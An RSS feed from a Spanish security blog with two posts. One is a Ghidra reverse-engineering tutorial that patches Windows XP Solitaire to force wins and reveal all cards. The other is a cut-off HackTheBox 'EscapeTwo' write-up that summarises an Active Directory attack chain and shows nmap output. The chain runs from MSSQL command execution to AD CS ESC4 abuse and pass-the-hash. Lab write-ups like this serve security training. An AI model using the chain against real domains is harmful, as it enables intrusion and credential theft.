<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Windows on</title><link>https://synacklabs.github.io/tags/windows/</link><description>Recent content in Windows on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Wed, 11 Mar 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/windows/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Ingeniería Inversa del Solitario (Windows XP): Forzando victorias y manipulando la visibilidad del tablero con Ghidra</title><link>https://synacklabs.github.io/posts/solitario/</link><pubDate>Wed, 11 Mar 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/solitario/</guid><description>&lt;h2 id="1-introducción"&gt;1. Introducción&lt;/h2&gt;
&lt;p&gt;En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.&lt;/p&gt;
&lt;p&gt;El write-up se divide en dos objetivos principales:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Localización de funciones ocultas:&lt;/strong&gt; Identificar y activar el comando &lt;code&gt;&amp;quot;Force a win&amp;quot;&lt;/code&gt;, una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modificación de la lógica de renderizado:&lt;/strong&gt; Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="2-parte-i-activando-el-comando-oculto"&gt;&lt;strong&gt;2. Parte I: Activando el comando oculto &amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="21-análisis-de-strings-primer-contacto-con-la-lista-de-cadenas-definidas"&gt;&lt;strong&gt;2.1. Análisis de strings:&lt;/strong&gt; Primer contacto con la lista de cadenas definidas.&lt;/h3&gt;
&lt;p&gt;Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú &lt;strong&gt;Window&lt;/strong&gt; y seleccioné &lt;strong&gt;Defined Strings&lt;/strong&gt;. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.&lt;/p&gt;</description><content>&lt;h2 id="1-introducción"&gt;1. Introducción&lt;/h2&gt;
&lt;p&gt;En esta entrada voy a explicar el proceso de análisis de dos aspectos del Solitario de Windows mediante ingeniería inversa con Ghidra. El objetivo es documentar cómo identificar y alterar comportamientos específicos del juego directamente desde el binario.&lt;/p&gt;
&lt;p&gt;El write-up se divide en dos objetivos principales:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Localización de funciones ocultas:&lt;/strong&gt; Identificar y activar el comando &lt;code&gt;&amp;quot;Force a win&amp;quot;&lt;/code&gt;, una funcionalidad no documentada que permite forzar la victoria. Veremos cómo rastrear este comando desde los strings del programa hasta su implementación en el código.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modificación de la lógica de renderizado:&lt;/strong&gt; Analizar cómo el programa gestiona la visibilidad de las cartas en el tablero. El reto aquí es modificar la lógica que controla las columnas para que todas las cartas se muestren boca arriba, eliminando la restricción que solo permite ver la última carta de cada pila.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="2-parte-i-activando-el-comando-oculto"&gt;&lt;strong&gt;2. Parte I: Activando el comando oculto &amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="21-análisis-de-strings-primer-contacto-con-la-lista-de-cadenas-definidas"&gt;&lt;strong&gt;2.1. Análisis de strings:&lt;/strong&gt; Primer contacto con la lista de cadenas definidas.&lt;/h3&gt;
&lt;p&gt;Lo primero que hice al abrir el binario en Ghidra fue ir a lo seguro. Como no sabía por dónde empezar a buscar funciones ocultas, decidí echar un vistazo a los strings del programa. Me fui al menú &lt;strong&gt;Window&lt;/strong&gt; y seleccioné &lt;strong&gt;Defined Strings&lt;/strong&gt;. Mi idea era ver si los desarrolladores habían dejado algún mensaje de debug o algún nombre interesante que me diera una pista de qué hace el juego por detrás.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fe-a0f3-c72cd4a28419.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al abrir la lista de strings, me puse a investigar un poco. La mayoría parecían nombres de funciones estándar de Windows, pero de repente vi algo que me llamó la atención: &lt;strong&gt;&amp;ldquo;Force a win&amp;rdquo;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8017-a63d-c54be4bd68ba.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="22-identificación-del-recurso-id-1010"&gt;&lt;strong&gt;2.2. Identificación del recurso:&lt;/strong&gt; ID 1010.&lt;/h3&gt;
&lt;p&gt;La presencia de esta cadena sugiere la existencia de una funcionalidad no documentada que fuerza la victoria. Al hacer doble clic sobre ella, Ghidra me llevó a su ubicación en la sección de recursos. Allí se observa que pertenece a una tabla de strings con identificadores numéricos. Concretamente, &amp;ldquo;Force a win&amp;rdquo; tiene asignado el &lt;strong&gt;ID 1010&lt;/strong&gt; (Rsrc String ID 1010).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-809a-813b-d1b756b6d989.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="23-conversión-de-bases-localizando-el-valor-hexadecimal-0x03f2"&gt;&lt;strong&gt;2.3. Conversión de bases:&lt;/strong&gt; Localizando el valor hexadecimal 0x03F2.&lt;/h3&gt;
&lt;p&gt;Antes de seguir buscando en el código, me detuve un momento. Como Ghidra y el lenguaje ensamblador suelen trabajar con valores hexadecimales, necesitaba saber cómo se escribe 1010 en hex. Convertimos el ID a hexadecimal (0x3F2). Ya tengo el valor que debo buscar en las instrucciones del programa: &lt;code&gt;0x3f2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801c-96f3-c94802d2a655.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="24-rastreo-en-el-desensamblado-localización-del-manejador-de-comandos"&gt;&lt;strong&gt;2.4. Rastreo en el desensamblado:&lt;/strong&gt; Localización del manejador de comandos&lt;/h3&gt;
&lt;p&gt;Con el valor &lt;code&gt;0x3F2&lt;/code&gt; como objetivo, realicé una búsqueda en el código desensamblado. En la dirección &lt;code&gt;010019d2&lt;/code&gt; aparecía la instrucción &lt;code&gt;CMP EAX, 0x3f2&lt;/code&gt;, justo antes de un salto condicional &lt;code&gt;JZ&lt;/code&gt; hacia la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt;. Esta comparación es típica de un manejador de comandos: el programa evalúa si el parámetro recibido coincide con el ID 1010 y, en caso afirmativo, desvía el flujo hacia la rutina correspondiente.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fc-8d45-eec13e97fdb3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8053-b3e1-e7f9ef7fc5ac.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80b1-8861-ebe344112a0f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="25-análisis-del-flujo-de-victoria-y-el-gatillo-del-deal"&gt;2.5. Análisis del flujo de victoria y el &amp;ldquo;gatillo&amp;rdquo; del Deal&lt;/h3&gt;
&lt;p&gt;Seguí el salto hasta la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt; para ver qué pasaba allí. Me encontré con un bloque de código que hace un &lt;code&gt;XOR ESI, ESI&lt;/code&gt; (una forma rápida de poner a cero un registro) y luego hace varios &lt;code&gt;PUSH&lt;/code&gt;, incluyendo el valor &lt;code&gt;0x12&lt;/code&gt;. Aunque todavía me cuesta entender exactamente qué hace cada instrucción de la pila, este parece ser el camino que toma el juego para saltar directamente a la pantalla de victoria.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8026-a708-f9eb55b6c5ff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Investigando el código cercano para entender qué más podíamos controlar, identifiqué el valor &lt;strong&gt;1000&lt;/strong&gt; (en hex &lt;code&gt;0x3E8&lt;/code&gt;). Este ID es el &amp;ldquo;gatillo&amp;rdquo; que se activa cuando el usuario pulsa &lt;strong&gt;&amp;ldquo;Deal&amp;rdquo;&lt;/strong&gt; (Repartir). En condiciones normales, este evento llama a una función que yo mismo renombré como &lt;code&gt;RESET_TIME&lt;/code&gt;, encargada de limpiar el tablero para una partida nueva. También vi menciones a &lt;code&gt;0x3e9&lt;/code&gt; y &lt;code&gt;0x3ea&lt;/code&gt;. Estos IDs corresponden probablemente a otras funciones internas, como reiniciar el tiempo o activar modos de depuración.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8047-8c10-e99fe45b4e82.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;2.6. Secuestro de flujo: Convirtiendo el reinicio en victoria&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Con el conocimiento de que el ID &lt;strong&gt;1000&lt;/strong&gt; dispara la función de repartir (&lt;code&gt;RESET_TIME&lt;/code&gt;), decidí realizar un secuestro de flujo (hijacking) utilizando la herramienta &lt;strong&gt;Patch Instruction&lt;/strong&gt; de Ghidra. El objetivo era simple: redirigir una acción legítima del usuario hacia la función de victoria que acababa de descubrir.&lt;/p&gt;
&lt;p&gt;El proceso técnico consistió en lo siguiente:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Identificación del salto:&lt;/strong&gt; Localicé la instrucción de salto condicional que se ejecuta cuando el programa detecta el ID 1000.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redirección del destino:&lt;/strong&gt; Modifiqué la dirección de memoria de ese salto para que, en lugar de apuntar a la rutina de reinicio, saltara directamente a la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt; (el bloque que activa la animación de victoria).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Gracias a este parche, el comportamiento del binario cambia por completo: ahora, cada vez que se pulsa &amp;ldquo;Nueva partida&amp;rdquo;, el programa omite la lógica de inicio y ejecuta la rutina de victoria. Esto demuestra cómo, alterando un solo salto en el desensamblado, podemos forzar al software a ejecutar funciones fuera de su contexto original.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fd-9dce-c6915cd90323.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801c-9387-d0007f410b21.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801d-9bda-e830d3ca73a5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-809c-b07d-e856165dd88b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-805c-a8fa-e33bd0ab0725.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="3-parte-ii-ingeniería-de-la-visibilidad-de-las-cartas"&gt;&lt;strong&gt;3. Parte II: Ingeniería de la visibilidad de las cartas&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="31-descartando-el-motor-gráfico-limitaciones-de-cardsdll-y-cdt_draw"&gt;&lt;strong&gt;3.1. Descartando el motor gráfico:&lt;/strong&gt; Limitaciones de Cards.dll y CDT_Draw.&lt;/h3&gt;
&lt;p&gt;Para entender cómo el juego muestra las cartas, empecé por lo más lógico: buscar qué librerías externas utiliza para dibujar. En la tabla de importaciones encontré &lt;code&gt;Cards.dll&lt;/code&gt; y, dentro de ella, la función &lt;code&gt;CDT_Draw&lt;/code&gt;. Mi razonamiento fue que, si encontraba dónde se llama a esta función, podría interceptar el momento en que se decide si una carta se dibuja boca arriba o boca abajo. Sin embargo, al profundizar en las llamadas, me di cuenta de que &lt;code&gt;cdtDraw&lt;/code&gt; solo recibe parámetros y dibuja; la lógica que decide si una carta va boca arriba o boca abajo está en otro lado. Necesitaba encontrar el código que toma esas decisiones.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-804c-a179-f0b92604d9b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-806d-bbd7-e0b76d4bdc93.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-801a-acd5-c7fcf8bf2c5a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="32-la-técnica-de-la-constante-conocida-buscando-el-7-en-la-lógica-de-columnas"&gt;&lt;strong&gt;3.2. La técnica de la constante conocida:&lt;/strong&gt; Buscando el &amp;ldquo;7&amp;rdquo; en la lógica de columnas.&lt;/h3&gt;
&lt;p&gt;Decidí cambiar de enfoque: en lugar de seguir el rastro de las funciones gráficas, me centré en la lógica del tablero. El solitario clásico tiene &lt;strong&gt;7 columnas&lt;/strong&gt; en la zona de juego, así que el programa seguramente itera sobre esas columnas. Si hay un bucle que recorre las columnas, debe haber una comparación con el número 7. Busqué en todo el código desensamblado la instrucción &lt;code&gt;CMP&lt;/code&gt; con el valor &lt;code&gt;0x7&lt;/code&gt; y encontré varios candidatos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80ba-a11b-cf2b475242a5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Bingo! Entre los resultados, encontré una sección de código donde se comparaba el registro &lt;code&gt;EAX&lt;/code&gt; con &lt;code&gt;0x7&lt;/code&gt;. Esta comparación (&lt;code&gt;CMP EAX, 7&lt;/code&gt;) no parecía ser un valor aleatorio; estaba justo antes de un salto condicional que controlaba un bucle importante. Sabía que estaba en el lugar correcto: esta es la función que gestiona el barrido de las 7 columnas del tablero.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-803d-ad3a-c7ac6f49f0fa.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="33-anatomía-del-bucle-de-renderizado-cómo-el-juego-barre-el-tablero"&gt;&lt;strong&gt;3.3. Anatomía del bucle de renderizado:&lt;/strong&gt; Cómo el juego barre el tablero.&lt;/h3&gt;
&lt;p&gt;Al analizar la función que barre las 7 columnas, identifiqué un bucle interno encargado de procesar las cartas de cada pila. La lógica es interesante: el programa recupera el número total de cartas en la columna y utiliza un contador para iterar sobre ellas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80c0-b8b9-dfa83eed9a1f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La clave de la visibilidad reside en una comparación crítica: el juego contrasta el índice de la carta actual con el índice de la última carta de la pila.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;La condición:&lt;/strong&gt; Si el índice es igual al total (la carta de la cima), el flujo continúa hacia la rutina de visibilidad.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El salto condicional:&lt;/strong&gt; En ensamblador, esto es un &lt;code&gt;CMP&lt;/code&gt; seguido de un &lt;code&gt;JNZ&lt;/code&gt; (&lt;em&gt;Jump if Not Zero&lt;/em&gt;). Si la carta no es la última, el &lt;code&gt;JNZ&lt;/code&gt; hace que el programa &amp;ldquo;salte&amp;rdquo; por encima del &lt;code&gt;CALL&lt;/code&gt; que marca la carta como visible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al neutralizar este &lt;code&gt;JNZ&lt;/code&gt;, obligo al programa a ejecutar el &lt;code&gt;CALL&lt;/code&gt; que da visibilidad para &lt;strong&gt;todas&lt;/strong&gt; las cartas, sin importar su posición.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8046-9bad-fb7dfc020a36.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80c5-b3ee-fd2219a0a62d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="4-el-parche-final-neutralización-del-salto-uso-de-nops-para-revelar-todo-el-tablero"&gt;&lt;strong&gt;4. El Parche Final: Neutralización del salto:&lt;/strong&gt; Uso de NOPs para revelar todo el tablero.&lt;/h2&gt;
&lt;p&gt;El parche consiste en sustituir los bytes del &lt;code&gt;JNZ&lt;/code&gt; por dos instrucciones &lt;strong&gt;&lt;code&gt;NOP&lt;/code&gt;&lt;/strong&gt; (&lt;em&gt;No Operation&lt;/em&gt;). Al hacer esto, el flujo de ejecución se vuelve lineal: el &amp;ldquo;portero&amp;rdquo; que impedía mostrar las cartas inferiores desaparece, y el motor gráfico recibe la instrucción de renderizar la cara de cada carta de la columna. El resultado es un tablero completamente destapado desde el inicio de la partida.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8054-9db8-d96c6a20b064.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8050-8ac1-d8c1ac86fe16.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8020-a9d0-db7aa6f6fe17.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="conclusión"&gt;&lt;strong&gt;Conclusión&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Hemos recorrido dos caminos diferentes dentro del ejecutable del Solitario: primero localizamos y activamos un comando oculto que fuerza la victoria, y después modificamos la lógica de dibujado para hacer visibles todas las cartas. A lo largo del proceso hemos puesto en práctica varias técnicas fundamentales de ingeniería inversa.&lt;/p&gt;
&lt;p&gt;Estas técnicas nos han permitido descubrir mecanismos internos del juego que no están visibles en la interfaz normal, demostrando cómo el análisis directo del binario puede revelar funcionalidades ocultas y ofrecer un control completo sobre el comportamiento de la aplicación.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>EscapeTwo (Easy)</title><link>https://synacklabs.github.io/posts/escapetwo/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/escapetwo/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Durante la resolución de &lt;strong&gt;EscapeTwo&lt;/strong&gt;, empecé con una enumeración de servicios y validé acceso a &lt;strong&gt;SMB&lt;/strong&gt; con credenciales proporcionadas. Desde SMB encontré un &lt;strong&gt;.xlsx&lt;/strong&gt; que, tras analizarlo, contenía credenciales válidas (incluyendo &lt;code&gt;sa&lt;/code&gt;). Con &lt;code&gt;sa&lt;/code&gt; accedí a &lt;strong&gt;MSSQL&lt;/strong&gt; y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de &lt;strong&gt;ryan&lt;/strong&gt; en un fichero de configuración de SQL, pivoté por &lt;strong&gt;WinRM&lt;/strong&gt; y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de &lt;strong&gt;AD CS&lt;/strong&gt;. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a &lt;strong&gt;Administrator&lt;/strong&gt;, obtuve su &lt;strong&gt;NT hash&lt;/strong&gt; y entré con &lt;strong&gt;Pass-the-Hash&lt;/strong&gt;.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Durante la resolución de &lt;strong&gt;EscapeTwo&lt;/strong&gt;, empecé con una enumeración de servicios y validé acceso a &lt;strong&gt;SMB&lt;/strong&gt; con credenciales proporcionadas. Desde SMB encontré un &lt;strong&gt;.xlsx&lt;/strong&gt; que, tras analizarlo, contenía credenciales válidas (incluyendo &lt;code&gt;sa&lt;/code&gt;). Con &lt;code&gt;sa&lt;/code&gt; accedí a &lt;strong&gt;MSSQL&lt;/strong&gt; y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de &lt;strong&gt;ryan&lt;/strong&gt; en un fichero de configuración de SQL, pivoté por &lt;strong&gt;WinRM&lt;/strong&gt; y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de &lt;strong&gt;AD CS&lt;/strong&gt;. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a &lt;strong&gt;Administrator&lt;/strong&gt;, obtuve su &lt;strong&gt;NT hash&lt;/strong&gt; y entré con &lt;strong&gt;Pass-the-Hash&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8090-8342-de92c74bd033.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;59&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;43Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.sequel.htb, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sequel.htb, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=sequel-DC01-CA/domainComponent=sequel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-26T11&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;46&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2124&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-08T17&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; b55a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a63f&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;50ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ed44&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f865&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;820a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b8e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f493
